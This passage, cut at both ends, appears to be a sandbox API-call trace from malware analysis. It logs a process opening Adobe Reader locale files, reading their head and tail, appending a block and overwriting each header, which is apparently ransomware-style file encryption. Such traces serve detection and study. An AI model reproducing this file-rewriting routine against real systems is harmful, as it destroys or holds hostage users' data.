lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.538] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1a00 [0044.538] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.539] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1a00 [0044.539] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.539] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.539] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.539] CloseHandle (hObject=0x170) returned 1 [0044.539] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\eBook.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ebook.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.540] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.540] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1a00 [0044.540] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.540] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.540] ReleaseMutex (hMutex=0x128) returned 1 [0044.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0044.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.EUQ", cchWideChar=9, lpMultiByteStr=0x1e630ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.EUQ", lpUsedDefaultChar=0x0) returned 9 [0044.540] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0044.542] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0044.542] WriteFile (in: hFile=0x170, lpBuffer=0x25c7808*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7808*, lpNumberOfBytesWritten=0x304f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0044.542] CloseHandle (hObject=0x170) returned 1 [0044.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SaveAsRTF.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\saveasrtf.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.543] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.543] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4a00 [0044.543] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.543] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.543] ReleaseMutex (hMutex=0x128) returned 1 [0044.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.EUQ", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.EUQ", lpUsedDefaultChar=0x0) returned 13 [0044.543] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.547] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3a00 [0044.547] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.548] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3a00 [0044.548] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.549] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.549] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.549] CloseHandle (hObject=0x170) returned 1 [0044.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.549] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.549] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1a00 [0044.549] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.550] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.550] ReleaseMutex (hMutex=0x128) returned 1 [0044.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SUO", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0044.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SUO", cchWideChar=19, lpMultiByteStr=0x1e7894c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SUO", lpUsedDefaultChar=0x0) returned 19 [0044.550] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0044.554] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0044.554] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0044.555] CloseHandle (hObject=0x170) returned 1 [0044.555] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Multimedia.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\multimedia.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.555] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.555] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x12c00 [0044.555] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.555] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.555] ReleaseMutex (hMutex=0x128) returned 1 [0044.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SUO", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0044.555] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.SUO", cchWideChar=14, lpMultiByteStr=0x1e62fec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.SUO", lpUsedDefaultChar=0x0) returned 14 [0044.555] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.557] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x11c00 [0044.557] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.560] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x11c00 [0044.561] WriteFile (in: hFile=0x170, lpBuffer=0x1dece78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece78*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.561] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.561] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.561] CloseHandle (hObject=0x170) returned 1 [0044.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.562] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.562] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe1 [0044.562] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.562] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.562] ReleaseMutex (hMutex=0x128) returned 1 [0044.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0044.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0044.562] ReadFile (in: hFile=0x170, lpBuffer=0x1dd1bd8, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd1bd8*, lpNumberOfBytesRead=0x304f2bc*=0xe1, lpOverlapped=0x0) returned 1 [0044.563] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0044.563] WriteFile (in: hFile=0x170, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x669, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x304f2d0*=0x669, lpOverlapped=0x0) returned 1 [0044.563] CloseHandle (hObject=0x170) returned 1 [0044.563] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\DigSig.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\digsig.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.564] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.564] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x21c00 [0044.564] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.564] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.564] ReleaseMutex (hMutex=0x128) returned 1 [0044.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0044.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.FRA", cchWideChar=10, lpMultiByteStr=0x1e6326c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.FRA", lpUsedDefaultChar=0x0) returned 10 [0044.564] ReadFile (in: hFile=0x170, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.566] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x20c00 [0044.566] ReadFile (in: hFile=0x170, lpBuffer=0x1deee48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1deee48*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.569] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x20c00 [0044.569] WriteFile (in: hFile=0x170, lpBuffer=0x1dece18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dece18*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.570] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.570] WriteFile (in: hFile=0x170, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.570] CloseHandle (hObject=0x170) returned 1 [0044.570] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\ReadOutLoud.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\readoutloud.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.570] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.571] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2c00 [0044.571] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.571] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.571] ReleaseMutex (hMutex=0x128) returned 1 [0044.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.FRA", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.FRA", cchWideChar=15, lpMultiByteStr=0x1e6322c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.FRA", lpUsedDefaultChar=0x0) returned 15 [0044.571] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.573] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1c00 [0044.573] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.574] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1c00 [0044.574] WriteFile (in: hFile=0x170, lpBuffer=0x25c6e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c6e08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.575] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.575] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.575] CloseHandle (hObject=0x170) returned 1 [0044.575] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Accessibility.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\accessibility.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.575] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.575] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xac00 [0044.575] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0044.575] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.575] ReleaseMutex (hMutex=0x128) returned 1 [0044.575] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.HRV", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0044.576] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Accessibility.HRV", cchWideChar=17, lpMultiByteStr=0x1e7894c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Accessibility.HRV", lpUsedDefaultChar=0x0) returned 17 [0044.576] ReadFile (in: hFile=0x170, lpBuffer=0x1de4de8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.579] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x9c00 [0044.580] ReadFile (in: hFile=0x170, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.580] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x9c00 [0044.581] WriteFile (in: hFile=0x170, lpBuffer=0x1deefa8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deefa8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.581] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0044.581] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.582] CloseHandle (hObject=0x170) returned 1 [0044.582] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ia32.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0044.582] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: 